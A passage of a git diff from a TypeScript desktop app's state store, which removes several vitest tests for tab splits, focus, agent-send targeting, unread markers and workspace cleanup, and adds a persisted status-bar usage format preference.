-  it('terminal create fills and selects its split with split activation false', () => {
-    const atomic = seededStore()
-    const published = recordPublishedEmptyGroups(atomic.store)
-    atomic.store.getState().createTab(WT, undefined, undefined, {
-      id: 'terminal-2',
-      split: { ...SPLIT, sourceGroupId: atomic.sourceGroupId, activate: false }
-    })
-    const state = atomic.store.getState()
-    const splitGroupId = newGroupId(state, atomic.sourceGroupId)
-    expect(published.emptyGroups).toEqual([])
-    expect(state.groupsByWorktree[WT]).toEqual([
-      expect.objectContaining({ id: atomic.sourceGroupId, tabOrder: ['terminal-1'] }),
-      expect.objectContaining({
-        id: splitGroupId,
-        tabOrder: ['terminal-2'],
-        activeTabId: 'terminal-2'
-      })
-    ])
-    expect(state.unifiedTabsByWorktree[WT]).toContainEqual(
-      expect.objectContaining({
-        id: 'terminal-2',
-        entityId: 'terminal-2',
-        groupId: splitGroupId,
-        contentType: 'terminal'
-      })
-    )
-    expect(state.layoutByWorktree[WT]).toMatchObject({
-      type: 'split',
-      direction: 'vertical',
-      first: { type: 'leaf', groupId: atomic.sourceGroupId },
-      second: { type: 'leaf', groupId: splitGroupId }
-    })
-    expect(state.tabsByWorktree[WT].map((tab) => tab.id)).toEqual(['terminal-1', 'terminal-2'])
-    expect(state.activeGroupIdByWorktree[WT]).toBe(splitGroupId)
-    expect(state.activeTabId).toBe('terminal-2')
-    expect(state.activeTabIdByWorktree[WT]).toBe('terminal-2')
-  })
-
-  it('browser create fills an inactive split with tab activation true', () => {
-    const atomic = seededStore()
-    const published = recordPublishedEmptyGroups(atomic.store)
-    atomic.store.getState().createUnifiedTab(WT, 'browser', {
-      id: 'browser-1',
-      split: { ...SPLIT, sourceGroupId: atomic.sourceGroupId, activate: false },
-      activate: true
-    })
-    const state = atomic.store.getState()
-    const splitGroupId = newGroupId(state, atomic.sourceGroupId)
-    expect(published.emptyGroups).toEqual([])
-    expect(state.groupsByWorktree[WT]).toEqual([
-      expect.objectContaining({ id: atomic.sourceGroupId, tabOrder: ['terminal-1'] }),
-      expect.objectContaining({
-        id: splitGroupId,
-        tabOrder: ['browser-1'],
-        activeTabId: 'browser-1'
-      })
-    ])
-    expect(state.unifiedTabsByWorktree[WT]).toContainEqual(
-      expect.objectContaining({
-        id: 'browser-1',
-        entityId: 'browser-1',
-        groupId: splitGroupId,
-        contentType: 'browser'
-      })
-    )
-    expect(state.layoutByWorktree[WT]).toMatchObject({
-      type: 'split',
-      direction: 'vertical',
-      first: { type: 'leaf', groupId: atomic.sourceGroupId },
-      second: { type: 'leaf', groupId: splitGroupId }
-    })
-    expect(state.tabsByWorktree[WT].map((tab) => tab.id)).toEqual(['terminal-1'])
-    expect(state.activeGroupIdByWorktree[WT]).toBe(atomic.sourceGroupId)
-    expect(state.activeTabId).toBe('terminal-1')
-    expect(state.activeTabIdByWorktree[WT]).toBe('terminal-1')
-    expect(
-      state.unifiedTabsByWorktree[WT].find((tab) => tab.id === 'browser-1')?.lastFocusedAt
-    ).toBe(1_791_979_200_000)
-  })
-
-  it('browser create fills an inactive split with tab activation false', () => {
-    const atomic = seededStore()
-    const published = recordPublishedEmptyGroups(atomic.store)
-    atomic.store.getState().createUnifiedTab(WT, 'browser', {
-      id: 'browser-1',
-      split: { ...SPLIT, sourceGroupId: atomic.sourceGroupId, activate: false },
-      activate: false
-    })
-    const state = atomic.store.getState()
-    const splitGroupId = newGroupId(state, atomic.sourceGroupId)
-    expect(published.emptyGroups).toEqual([])
-    expect(state.groupsByWorktree[WT]).toEqual([
-      expect.objectContaining({ id: atomic.sourceGroupId, tabOrder: ['terminal-1'] }),
-      expect.objectContaining({
-        id: splitGroupId,
-        tabOrder: ['browser-1'],
-        activeTabId: 'browser-1'
-      })
-    ])
-    expect(state.unifiedTabsByWorktree[WT]).toContainEqual(
-      expect.objectContaining({
-        id: 'browser-1',
-        entityId: 'browser-1',
-        groupId: splitGroupId,
-        contentType: 'browser'
-      })
-    )
-    expect(state.layoutByWorktree[WT]).toMatchObject({
-      type: 'split',
-      direction: 'vertical',
-      first: { type: 'leaf', groupId: atomic.sourceGroupId },
-      second: { type: 'leaf', groupId: splitGroupId }
-    })
-    expect(state.tabsByWorktree[WT].map((tab) => tab.id)).toEqual(['terminal-1'])
-    expect(state.activeGroupIdByWorktree[WT]).toBe(atomic.sourceGroupId)
-    expect(state.activeTabId).toBe('terminal-1')
-    expect(state.activeTabIdByWorktree[WT]).toBe('terminal-1')
-    expect(
-      state.unifiedTabsByWorktree[WT].find((tab) => tab.id === 'browser-1')?.lastFocusedAt
-    ).toBe(undefined)
-  })
-})
-
-describe('creating a tab shown in another pane', () => {
-  it('shows the new tab in its pane without making that pane the active one', () => {
-    const { store, sourceGroupId } = seededStore()
-    const browserGroupId = store
-      .getState()
-      .createEmptySplitGroup(WT, sourceGroupId, 'right', { activate: false })!
-    store.getState().createUnifiedTab(WT, 'browser', {
-      id: 'browser-old',
-      targetGroupId: browserGroupId,
-      activate: false
-    })
-    store.getState().createUnifiedTab(WT, 'browser', {
-      id: 'browser-new',
-      targetGroupId: browserGroupId,
-      activate: false,
-      showInGroup: true
-    })
-
-    const state = store.getState()
-    expect(state.groupsByWorktree[WT].find((g) => g.id === browserGroupId)?.activeTabId).toBe(
-      'browser-new'
-    )
-    expect(state.activeGroupIdByWorktree[WT]).toBe(sourceGroupId)
-    expect(
-      state.unifiedTabsByWorktree[WT].find((tab) => tab.id === 'browser-new')?.lastFocusedAt
-    ).toBeUndefined()
-  })
-})
diff --git a/src/renderer/src/store/slices/tabs/tabs-unread-and-focus.test.ts b/src/renderer/src/store/slices/tabs/tabs-unread-and-focus.test.ts
index 3d99b48c477..6e63f610838 100644
--- a/src/renderer/src/store/slices/tabs/tabs-unread-and-focus.test.ts
+++ b/src/renderer/src/store/slices/tabs/tabs-unread-and-focus.test.ts
@@ -73,48 +73,6 @@ describe('TabsSlice', () => {
 
   // Already-active group clicks skip activateTab; focusGroup must still expose its tab to the attention scan.
   describe('focusGroup', () => {
-    it('does not broadcast active-surface writes when the focused group is already current', () => {
-      const editorFileId = '/tmp/feature/src/main.ts'
-      const tab = store.getState().createUnifiedTab(WT, 'editor', {
-        id: 'editor-tab-1',
-        entityId: editorFileId,
-        label: 'main.ts'
-      })
-      const groupId = store.getState().groupsByWorktree[WT][0].id
-      store.setState({
-        activeWorktreeId: WT,
-        openFiles: [makeOpenFile({ id: editorFileId, worktreeId: WT })],
-        activeGroupIdByWorktree: { [WT]: groupId },
-        activeFileId: editorFileId,
-        activeFileIdByWorktree: { [WT]: editorFileId },
-        activeBrowserTabId: null,
-        activeBrowserTabIdByWorktree: { [WT]: null },
-        activeTabId: null,
-        activeTabIdByWorktree: { [WT]: null },
-        activeTabType: 'editor',
-        activeTabTypeByWorktree: { [WT]: 'editor' },
-        groupsByWorktree: {
-          [WT]: [
-            {
-              ...store.getState().groupsByWorktree[WT][0],
-              activeTabId: tab.id
-            }
-          ]
-        }
-      })
-      const before = store.getState()
-      const listener = vi.fn()
-      const unsubscribe = store.subscribe(listener)
-
-      store.getState().focusGroup(WT, groupId)
-      unsubscribe()
-
-      expect(listener).not.toHaveBeenCalled()
-      expect(store.getState().activeGroupIdByWorktree).toBe(before.activeGroupIdByWorktree)
-      expect(store.getState().activeFileIdByWorktree).toBe(before.activeFileIdByWorktree)
-      expect(store.getState().activeTabTypeByWorktree).toBe(before.activeTabTypeByWorktree)
-    })
-
     // Why: focusGroup fires on every pointerdown in the group chrome; it moves what is on screen and the scan reads it.
     it("puts the focused group's active tab on screen", () => {
       const tabA = store.getState().createUnifiedTab(WT, 'terminal')
diff --git a/src/renderer/src/store/slices/ui/ui-agent-send-target.test.ts b/src/renderer/src/store/slices/ui/ui-agent-send-target.test.ts
deleted file mode 100644
index a2d4634d0a1..00000000000
--- a/src/renderer/src/store/slices/ui/ui-agent-send-target.test.ts
+++ /dev/null
@@ -1,208 +0,0 @@
-import type { StoreApi } from 'zustand/vanilla'
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-
-import { makePaneKey } from '../../../../../shared/workspace-layout/stable-pane-id'
-import '../../../../../shared/agent-session/view/structured-agent-session-projection'
-import '../../../../../shared/agent-notification-id'
-import type { AppState } from '../../types'
-import { createUIStore } from './ui-slice-test-harness'
-
-const mocks = vi.hoisted(() => ({
-  sendNotesToActiveAgentSession: vi.fn(),
-  sendStructuredAgentSessionMessage: vi.fn(),
-  relaunchFailedStructuredAgentSessionWithMessage: vi.fn(
-    (): Promise<{ delivered: boolean }> | null => null
-  ),
-  track: vi.fn(),
-  toastMessage: vi.fn(),
-  toastSuccess: vi.fn(),
-  toastError: vi.fn()
-}))
-
-vi.mock('@/lib/agent-session/messaging/terminal/active-agent-note-send', () => ({
-  sendNotesToActiveAgentSession: mocks.sendNotesToActiveAgentSession
-}))
-vi.mock('@/lib/agent-session/messaging/terminal/active-agent-note-send-result', () => ({
-  activeAgentNotesSendFailureMessage: (
-    status: string,
-    options: { explicitTarget?: boolean } = {}
-  ) => (options.explicitTarget ? `selected:${status}` : status)
-}))
-
-vi.mock(
-  '@/components/native-chat/session/structured/delivery/structured-agent-session-message-sender',
-  () => ({
-    sendStructuredAgentSessionMessage: mocks.sendStructuredAgentSessionMessage
-  })
-)
-// The chat's tab names its host; the send only needs to find one.
-vi.mock('@/store/index', () => ({
-  useAppStore: {
-    getState: () => ({
-      unifiedTabsByWorktree: {
-        'wt-1': [{ contentType: 'agent-session', entityId: 'claude_1', worktreeId: 'wt-1' }]
-      }
-    })
-  }
-}))
-vi.mock('@/runtime/native-chat/session-ownership/structured-agent-session-owner', () => ({
-  structuredAgentSessionTargetForTab: () => ({ kind: 'local' })
-}))
-
-vi.mock('@/lib/agent-session/launch/structured-agent-session-launch-message', () => ({
-  relaunchFailedStructuredAgentSessionWithMessage:
-    mocks.relaunchFailedStructuredAgentSessionWithMessage
-}))
-
-vi.mock('@/diagnostics/telemetry/telemetry', () => ({
-  track: mocks.track
-}))
-
-vi.mock('sonner', () => ({
-  toast: {
-    message: mocks.toastMessage,
-    success: mocks.toastSuccess,
-    error: mocks.toastError
-  }
-}))
-
-afterEach(() => {
-  vi.restoreAllMocks()
-  vi.unstubAllGlobals()
-})
-
-beforeEach(() => {
-  vi.spyOn(Date, 'now').mockReturnValue(1_780_358_400_000)
-  mocks.sendNotesToActiveAgentSession.mockReset()
-  mocks.sendNotesToActiveAgentSession.mockResolvedValue({ status: 'sent' })
-  mocks.sendStructuredAgentSessionMessage.mockReset()
-  mocks.sendStructuredAgentSessionMessage.mockReturnValue({
-    clientMessageId: 'sent',
-    outcome: Promise.resolve('recorded')
-  })
-  mocks.relaunchFailedStructuredAgentSessionWithMessage.mockClear()
-  mocks.track.mockReset()
-  mocks.toastMessage.mockReset()
-  mocks.toastSuccess.mockReset()
-  mocks.toastError.mockReset()
-})
-
-// Why: send targets list structured chats from the tabs slice, which the UI harness omits.
-function createAgentSendStore(): StoreApi<AppState> {
-  const store = createUIStore()
-  store.setState({ unifiedTabsByWorktree: {} })
-  return store
-}
-
-function deferred<T>() {
-  let resolve!: (value: T) => void
-  const promise = new Promise<T>((res) => {
-    resolve = res
-  })
-  return { promise, resolve }
-}
-
-describe('createUISlice agent send target mode', () => {
-  const worktreeId = 'wt-1'
-  const tabId = 'tab-1'
-  const readyLeafId = '11111111-1111-4111-8111-111111111111'
-  const workingLeafId = '22222222-2222-4222-8222-222222222222'
-  const readyPaneKey = makePaneKey(tabId, readyLeafId)
-  const workingPaneKey = makePaneKey(tabId, workingLeafId)
-
-  function seedAgentSendState(store: StoreApi<AppState>): void {
-    const now = Date.now()
-    store.setState({
-      tabsByWorktree: {
-        [worktreeId]: [
-          {
-            id: tabId,
-            worktreeId,
-            ptyId: 'fallback-pty',
-            title: 'Terminal 1',
-            customTitle: null,
-            color: null,
-            sortOrder: 0,
-            createdAt: now
-          }
-        ]
-      },
-      terminalLayoutsByTabId: {
-        [tabId]: {
-          root: {
-            type: 'split',
-            direction: 'vertical',
-            first: { type: 'leaf', leafId: readyLeafId },
-            second: { type: 'leaf', leafId: workingLeafId }
-          },
-          activeLeafId: readyLeafId,
-          expandedLeafId: null,
-          ptyIdsByLeafId: {
-            [readyLeafId]: 'pty-ready',
-            [workingLeafId]: 'pty-working'
-          }
-        }
-      },
-      ptyIdsByTabId: {
-        [tabId]: ['pty-ready', 'pty-working']
-      },
-      agentStatusByPaneKey: {
-        [readyPaneKey]: {
-          state: 'done',
-          prompt: 'previous',
-          updatedAt: now,
-          stateStartedAt: now,
-          agentType: 'codex',
-          paneKey: readyPaneKey,
-          stateHistory: []
-        },
-        [workingPaneKey]: {
-          state: 'working',
-          prompt: 'busy',
-          updatedAt: now,
-          stateStartedAt: now,
-          agentType: 'codex',
-          paneKey: workingPaneKey,
-          stateHistory: []
-        }
-      }
-    } satisfies Partial<AppState>)
-  }
-
-  it('does not retarget the same popover while a send is in progress', async () => {
-    const store = createAgentSendStore()
-    const write = deferred<{ status: 'sent' }>()
-    seedAgentSendState(store)
-    mocks.sendNotesToActiveAgentSession.mockReturnValue(write.promise)
-    store.getState().openAgentSendPopoverTargetMode({
-      id: 'send-1',
-      worktreeId,
-      source: 'diff-notes',
-      prompt: 'Review this',
-      label: 'This file',
-      launchSource: 'notes_send'
-    })
-
-    const send = store.getState().sendPromptToSidebarAgentTarget(readyPaneKey)
-    const sendingMode = store.getState().agentSendPopoverTargetMode
-    store.getState().openAgentSendPopoverTargetMode({
-      id: 'send-1',
-      worktreeId,
-      source: 'diff-notes',
-      prompt: 'Review everything',
-      label: 'All unsent notes',
-      launchSource: 'notes_send'
-    })
-
-    expect(store.getState().agentSendPopoverTargetMode).toBe(sendingMode)
-    expect(store.getState().agentSendPopoverTargetMode).toMatchObject({
-      id: 'send-1',
-      prompt: 'Review this',
-      status: 'sending',
-      sendingPaneKey: readyPaneKey
-    })
-
-    write.resolve({ status: 'sent' })
-    await expect(send).resolves.toBe(true)
-  })
-})
diff --git a/src/renderer/src/store/slices/ui/ui-slice-contract-preferences.ts b/src/renderer/src/store/slices/ui/ui-slice-contract-preferences.ts
index d84d94c56d3..72e1ef1f341 100644
--- a/src/renderer/src/store/slices/ui/ui-slice-contract-preferences.ts
+++ b/src/renderer/src/store/slices/ui/ui-slice-contract-preferences.ts
@@ -1,3 +1,4 @@
+import type { StatusBarUsageFormat } from '../../../../../shared/status-bar-usage-format'
 import type { PersistedUIState } from '../../../../../shared/persisted-ui-state-types'
 import type { BrowserDevToolsDockLayout } from '../../../../../shared/browser/devtools/browser-devtools-dock'
 import type {
@@ -125,6 +126,8 @@ export type UISlicePreferences = {
   setUsagePercentageDisplay: (display: UsagePercentageDisplay) => void
   statusBarUsageMode: StatusBarUsageMode
   setStatusBarUsageMode: (mode: StatusBarUsageMode) => void
+  statusBarUsageFormat: StatusBarUsageFormat
+  setStatusBarUsageFormat: (format: StatusBarUsageFormat) => void
 }
 
 export type UISliceSurfaces = {
diff --git a/src/renderer/src/store/slices/ui/ui-slice-hydration-actions.ts b/src/renderer/src/store/slices/ui/ui-slice-hydration-actions.ts
index 005d4736e15..c5b3c7a6c15 100644
--- a/src/renderer/src/store/slices/ui/ui-slice-hydration-actions.ts
+++ b/src/renderer/src/store/slices/ui/ui-slice-hydration-actions.ts
@@ -1,3 +1,4 @@
+import { normalizeStatusBarUsageFormat } from '../../../../../shared/status-bar-usage-format'
 import type { UISlice, UISliceGet, UISliceSet } from './ui-slice-contract'
 import type { AppState } from '../../types'
 import { normalizeRightSidebarRoute } from '../right-sidebar/right-sidebar-route'
@@ -189,6 +190,7 @@ export function createUiHydrationActions(set: UISliceSet, _get: UISliceGet): Par
           statusBarVisible: ui.statusBarVisible ?? true,
           usagePercentageDisplay: normalizeUsagePercentageDisplay(ui.usagePercentageDisplay),
           statusBarUsageMode: normalizeStatusBarUsageMode(ui.statusBarUsageMode),
+          statusBarUsageFormat: normalizeStatusBarUsageFormat(ui.statusBarUsageFormat),
           // Why: default true so existing users see the pet on first enabling the flag; only an explicit Hide persists false.
           petVisible: ui.petVisible ?? ui.sidekickVisible ?? true,
           petSize: clampPetSize(ui.petSize ?? ui.sidekickSize ?? PET_SIZE_DEFAULT, {
diff --git a/src/renderer/src/store/slices/ui/ui-slice-preference-actions.ts b/src/renderer/src/store/slices/ui/ui-slice-preference-actions.ts
index 530843ef7a3..41a6e584967 100644
--- a/src/renderer/src/store/slices/ui/ui-slice-preference-actions.ts
+++ b/src/renderer/src/store/slices/ui/ui-slice-preference-actions.ts
@@ -1,3 +1,7 @@
+import {
+  DEFAULT_STATUS_BAR_USAGE_FORMAT,
+  normalizeStatusBarUsageFormat
+} from '../../../../../shared/status-bar-usage-format'
 import type { UISlice, UISliceGet, UISliceSet } from './ui-slice-contract'
 import { workspaceHostScopeForVisibleHosts } from '../../../../../shared/workspace-view/workspace-host-visibility'
 import { createAgentsViewPreferenceActions } from './ui-slice-agents-view-preference-actions'
@@ -273,6 +277,12 @@ export function createUiPreferenceActions(set: UISliceSet, get: UISliceGet): Par
         usagePercentageDisplayChangeNoticeDismissed: true
       })
     },
+    statusBarUsageFormat: { ...DEFAULT_STATUS_BAR_USAGE_FORMAT },
+    setStatusBarUsageFormat: (format) => {
+      const normalized = normalizeStatusBarUsageFormat(format)
+      window.api.ui.set({ statusBarUsageFormat: normalized }).catch(console.error)
+      set({ statusBarUsageFormat: normalized })
+    },
     statusBarUsageMode: DEFAULT_STATUS_BAR_USAGE_MODE,
     setStatusBarUsageMode: (mode) => {
       const normalized = normalizeStatusBarUsageMode(mode)
diff --git a/src/renderer/src/store/slices/workspace-attention/workspace-attention-slice.ts b/src/renderer/src/store/slices/workspace-attention/workspace-attention-slice.ts
index 8adf60b8541..5ec3ba4ecb6 100644
--- a/src/renderer/src/store/slices/workspace-attention/workspace-attention-slice.ts
+++ b/src/renderer/src/store/slices/workspace-attention/workspace-attention-slice.ts
@@ -19,6 +19,10 @@ import {
 import { workspaceMarkerTabIds } from './workspace-live-markers'
 import { isTabOnScreen } from '@/hooks/agent-auto-ack-targets'
 import { isWorkspaceNotificationMutedBySidebarFilters } from '@/attention/hidden-workspace-notification-mute'
+import { getTerminalTabOwnerWorktreeId } from '../../terminals/terminal-tab-owner-index'
+import { hasUnreadAgentSessionTab } from '@/components/terminal-pane/notifications/unread-agent-session-membership'
+
+const emptyTerminalTabs: AppState['tabsByWorktree'] = {}
 
 export const createWorkspaceAttentionSlice: StateCreator<
   AppState,
@@ -28,23 +32,18 @@ export const createWorkspaceAttentionSlice: StateCreator<
 > = (set, get) => {
   const markTabUnread = (tabId: string, reason: AgentAttentionUnreadReason): void => {
     const state = get()
+    if (state.unreadTerminalTabs[tabId]) {
+      return
+    }
     // Terminal tab IDs and structured-chat unified IDs both own markers; SortableTab/findRenamableUnifiedTab use the same pair.
     const ownsTab =
-      Object.values(state.tabsByWorktree ?? {})
-        .flat()
-        .some((tab) => tab.id === tabId) ||
-      Object.values(state.unifiedTabsByWorktree ?? {})
-        .flat()
-        .some((tab) => tab.contentType === 'agent-session' && tab.id === tabId)
+      getTerminalTabOwnerWorktreeId(state.tabsByWorktree ?? emptyTerminalTabs, tabId) !== null ||
+      hasUnreadAgentSessionTab(state.unifiedTabsByWorktree, tabId)
     if (!ownsTab) {
       return
     }
     // Why: a marker stays until its tab is read on screen, Marked as read, or closed.
-    set((s) =>
-      s.unreadTerminalTabs[tabId]
-        ? s
-        : { unreadTerminalTabs: { ...s.unreadTerminalTabs, [tabId]: reason } }
-    )
+    set((s) => ({ unreadTerminalTabs: { ...s.unreadTerminalTabs, [tabId]: reason } }))
   }
   const markPaneUnread = (paneKey: string, reason: AgentAttentionUnreadReason): void => {
     set((s) =>
diff --git a/src/renderer/src/store/slices/workspace-attention/workspace-unread-characterization-fixture.ts b/src/renderer/src/store/slices/workspace-attention/workspace-unread-characterization-fixture.ts
index e4aba115cbf..2949795c7d6 100644
--- a/src/renderer/src/store/slices/workspace-attention/workspace-unread-characterization-fixture.ts
+++ b/src/renderer/src/store/slices/workspace-attention/workspace-unread-characterization-fixture.ts
@@ -7,7 +7,7 @@ import { makeTab } from '../../terminals/terminal-tab.test-fixture'
 import { makeWorktree } from '../worktrees/worktree.test-fixture'
 import { TEST_REPO } from '../../repos/repo.test-fixture'
 import { createTabsSliceMockApi } from '../tabs/tabs-slice-test-harness'
-import { createUnreadBadgeCountSelector } from '@/lib/unread-badge-count-selector'
+import { createUnreadBadgeCountSelector } from '@/attention/unread/unread-badge-count-selector'
 import {
   resetFloatingWorkspaceUnreadSelectorCacheForTest,
   selectFloatingWorkspaceHasUnread
diff --git a/src/renderer/src/store/slices/workspace-attention/worktrees-unread-state.test.ts b/src/renderer/src/store/slices/workspace-attention/worktrees-unread-state.test.ts
index 052b7aa0009..68f75f6bf7e 100644
--- a/src/renderer/src/store/slices/workspace-attention/worktrees-unread-state.test.ts
+++ b/src/renderer/src/store/slices/workspace-attention/worktrees-unread-state.test.ts
@@ -7,8 +7,7 @@ import {
   createTestStore,
   mockApi,
   resetRemoteRuntimeMocks,
-  resetWorktreeSliceModuleMemory,
-  runtimeEnvironmentCall
+  resetWorktreeSliceModuleMemory
 } from '../worktrees/worktrees-slice-test-harness'
 
 const requestWorktreeBaseFallbackNotice = vi.hoisted(() => vi.fn())
@@ -36,120 +35,6 @@ describe('worktree unread (show-until-interact)', () => {
     resetRemoteRuntimeMocks()
   })
 
-  it('keeps unread state local instead of throwing for genuinely ambiguous owners (#10634)', () => {
-    const store = createTestStore()
-    const worktreeId = 'repo-shared::/same/path'
-    store.setState({
-      settings: { activeRuntimeEnvironmentId: 'hub-c' } as never,
-      worktreesByRepo: {
-        'repo-shared': [
-          makeWorktree({
-            id: worktreeId,
-            repoId: 'repo-shared',
-            hostId: 'ssh:ssh-a',
-            runtimeOwnerEnvironmentId: 'hub-a'
-          }),
-          makeWorktree({
-            id: worktreeId,
-            repoId: 'repo-shared',
-            hostId: 'ssh:ssh-b',
-            runtimeOwnerEnvironmentId: 'hub-b'
-          })
-        ]
-      }
-    } as Partial<AppState>)
-
-    expect(() =>
-      store.getState().markAgentAttentionUnread({
-        workspaceId: worktreeId,
-        subjectKey: null,
-        groupId: null,
-        reason: 'agent-completion'
-      })
-    ).not.toThrow()
-
-    expect(store.getState().worktreesByRepo['repo-shared'][0].isUnread).toBe(true)
-    expect(mockApi.worktrees.updateMeta).not.toHaveBeenCalled()
-    expect(runtimeEnvironmentCall).not.toHaveBeenCalled()
-  })
-
-  it('never throws from any passive path for a genuinely ambiguous owner (#10634)', () => {
-    // Exercise every passive notification path; any unresolved-host throw recreates the uncaught renderer error.
-    const worktreeId = 'repo-shared::/same/path'
-    const ambiguousState = (): Partial<AppState> =>
-      ({
-        settings: { activeRuntimeEnvironmentId: 'hub-c' } as never,
-        worktreesByRepo: {
-          'repo-shared': [
-            makeWorktree({
-              id: worktreeId,
-              repoId: 'repo-shared',
-              hostId: 'ssh:ssh-a',
-              runtimeOwnerEnvironmentId: 'hub-a',
-              isUnread: true
-            }),
-            makeWorktree({
-              id: worktreeId,
-              repoId: 'repo-shared',
-              hostId: 'ssh:ssh-b',
-              runtimeOwnerEnvironmentId: 'hub-b',
-              isUnread: true
-            })
-          ]
-        }
-      }) as Partial<AppState>
-
-    for (const [label, run] of [
-      [
-        'readOnScreenAttention',
-        (s: AppState) =>
-          s.readOnScreenAttention(
-            { workspaceIds: [worktreeId], targets: [{ worktreeId: worktreeId, tabId: 'no-tab' }] },
-            { screenArrived: true }
-          )
-      ],
-      ['bumpWorktreeActivity', (s: AppState) => s.bumpWorktreeActivity(worktreeId)]
-    ] as const) {
-      const store = createTestStore()
-      store.setState(ambiguousState())
-      mockApi.worktrees.updateMeta.mockClear()
-
-      expect(() => run(store.getState()), `${label} threw for an ambiguous owner`).not.toThrow()
-      expect(
-        mockApi.worktrees.updateMeta,
-        `${label} persisted to a guessed host`
-      ).not.toHaveBeenCalled()
-    }
-  })
-
-  it('updates unread state for hidden detected worktrees', () => {
-    const store = createTestStore()
-    const hidden = makeWorktree({
-      id: 'repo1::/path/hidden',
-      repoId: 'repo1',
-      path: '/path/hidden'
-    })
-    const detected = makeDetectedResult('repo1', [hidden])
-    detected.worktrees[0] = { ...detected.worktrees[0], ownership: 'external', visible: false }
-    store.setState({
-      worktreesByRepo: { repo1: [] },
-      detectedWorktreesByRepo: { repo1: detected }
-    } as Partial<AppState>)
-
-    store.getState().markAgentAttentionUnread({
-      workspaceId: hidden.id,
-      subjectKey: null,
-      groupId: null,
-      reason: 'agent-completion'
-    })
-    expect(store.getState().detectedWorktreesByRepo.repo1.worktrees[0].isUnread).toBe(true)
-
-    store
-      .getState()
-      .readOnScreenAttention({ workspaceIds: [hidden.id], targets: [] }, { screenArrived: true })
-    expect(store.getState().detectedWorktreesByRepo.repo1.worktrees[0].isUnread).toBe(false)
-  })
-
   it('reads a hidden detected worktree once it is activated and on screen', () => {
     const store = createTestStore()
     const hidden = makeWorktree({
diff --git a/src/renderer/src/store/slices/workspace-cleanup/workspace-cleanup-local-evidence.ts b/src/renderer/src/store/slices/workspace-cleanup/workspace-cleanup-local-evidence.ts
index f3a54741829..de7e34d927c 100644
--- a/src/renderer/src/store/slices/workspace-cleanup/workspace-cleanup-local-evidence.ts
+++ b/src/renderer/src/store/slices/workspace-cleanup/workspace-cleanup-local-evidence.ts
@@ -1,6 +1,6 @@
 import type { AppState } from '../../types'
 import { detectAgentStatusFromTitle } from '../../../../../shared/agent-status/title/agent-title-status'
-import { getWorktreeIdsWithLiveAgent } from '@/lib/worktree-activity-state'
+import { getWorktreeIdsWithLiveAgent } from '@/lib/workspace/activity/worktree-activity-state'
 import type { WorkspaceCleanupCandidate } from '../../../../../shared/workspace-cleanup/workspace-cleanup'
 import { getWorktreeVisitTimestamp } from '@/lib/workspace/activation/worktree-visit-recency'
 
diff --git a/src/renderer/src/store/slices/workspace-cleanup/workspace-cleanup-removal-preflight.test.ts b/src/renderer/src/store/slices/workspace-cleanup/workspace-cleanup-removal-preflight.test.ts
index 9eac90353bf..5b8c894d680 100644
--- a/src/renderer/src/store/slices/workspace-cleanup/workspace-cleanup-removal-preflight.test.ts
+++ b/src/renderer/src/store/slices/workspace-cleanup/workspace-cleanup-removal-preflight.test.ts
@@ -133,50 +133,4 @@ describe('workspace cleanup removal and protection', () => {
     })
     expect(removeWorktree).not.toHaveBeenCalled()
   })
-
-  it('fails a removal that reveals concrete git risk after an unverified force approval', async () => {
-    const approvedCandidate = makeCandidate({
-      executionHostId: 'local',
-      tier: 'review',
-      blockers: ['git-status-error'],
-      git: {
-        clean: null,
-        upstreamAhead: null,
-        upstreamBehind: null,
-        checkedAt: null
-      }
-    })
-    const nowRevealsUnpushed = makeCandidate({
-      executionHostId: 'local',
-      tier: 'review',
-      blockers: ['unpushed-commits'],
-      git: { clean: true, upstreamAhead: 3, upstreamBehind: 0, checkedAt: NOW }
-    })
-    const scan = vi.fn().mockResolvedValue({
-      scannedAt: NOW,
-      candidates: [nowRevealsUnpushed],
-      errors: []
-    } satisfies WorkspaceCleanupScanResult)
-    installWorkspaceCleanupApi(scan)
-    const removeWorktree = vi.fn().mockResolvedValue({ ok: true })
-    const store = createCleanupTestStore(removeWorktree)
-
-    await expect(
-      store.getState().removeWorkspaceCleanupCandidates([WORKTREE_ID], {
-        approvedCandidates: [approvedCandidate]
-      })
-    ).resolves.toEqual({
-      removedIds: [],
-      removedIdentities: [],
-      failures: [
-        {
-          worktreeId: WORKTREE_ID,
-          executionHostId: 'local',
-          displayName: 'old-workspace',
-          message: 'Workspace changed after confirmation. Refresh to review it before removing.'
-        }
-      ]
-    })
-    expect(removeWorktree).not.toHaveBeenCalled()
-  })
 })
diff --git a/src/renderer/src/store/slices/workspace-cleanup/workspace-cleanup-scan-progress.test.ts b/src/renderer/src/store/slices/workspace-cleanup/workspace-cleanup-scan-progress.test.ts
index e5b7785e9ac..b05d4f19f88 100644
--- a/src/renderer/src/store/slices/workspace-cleanup/workspace-cleanup-scan-progress.test.ts
+++ b/src/renderer/src/store/slices/workspace-cleanup/workspace-cleanup-scan-progress.test.ts
@@ -44,251 +44,6 @@ describe('workspace cleanup scan progress', () => {
     expect(store.getState().workspaceCleanupLoading).toBe(false)
   })
 
-  it('keeps same-id host rows distinct across streamed enrichment frames', async () => {
-    const pending = deferred<WorkspaceCleanupScanResult>()
-    let onProgress: ((progress: WorkspaceCleanupScanProgress) => void) | undefined
-    const localCandidate = makeCandidate({ executionHostId: 'local' })
-    const remoteCandidate = makeCandidate({ executionHostId: 'ssh:ssh-1', connectionId: 'ssh-1' })
-    const scan = vi.fn((_args, progressCallback) => {
-      onProgress = progressCallback
-      return pending.promise
-    })
-    installWorkspaceCleanupApi(scan)
-    const store = createCleanupTestStore()
-
-    const scanPromise = store.getState().scanWorkspaceCleanup()
-    onProgress?.({
-      scanId: 'scan-1',
-      scannedAt: NOW,
-      scannedWorktreeCount: 1,
-      totalWorktreeCount: 2,
-      candidates: [localCandidate],
-      errors: [],
-      candidateMode: 'append'
-    })
-    await vi.waitFor(() => {
-      expect(store.getState().workspaceCleanupProgress?.scannedWorktreeCount).toBe(1)
-    })
-
-    onProgress?.({
-      scanId: 'scan-1',
-      scannedAt: NOW,
-      scannedWorktreeCount: 2,
-      totalWorktreeCount: 2,
-      candidates: [remoteCandidate],
-      errors: [],
-      candidateMode: 'append'
-    })
-    await vi.waitFor(() => {
-      expect(store.getState().workspaceCleanupScan?.candidates).toHaveLength(2)
-    })
-
-    pending.resolve({ scannedAt: NOW, candidates: [localCandidate, remoteCandidate], errors: [] })
-    await scanPromise
-
-    expect(store.getState().workspaceCleanupScan?.candidates).toEqual([
-      expect.objectContaining({ executionHostId: 'local' }),
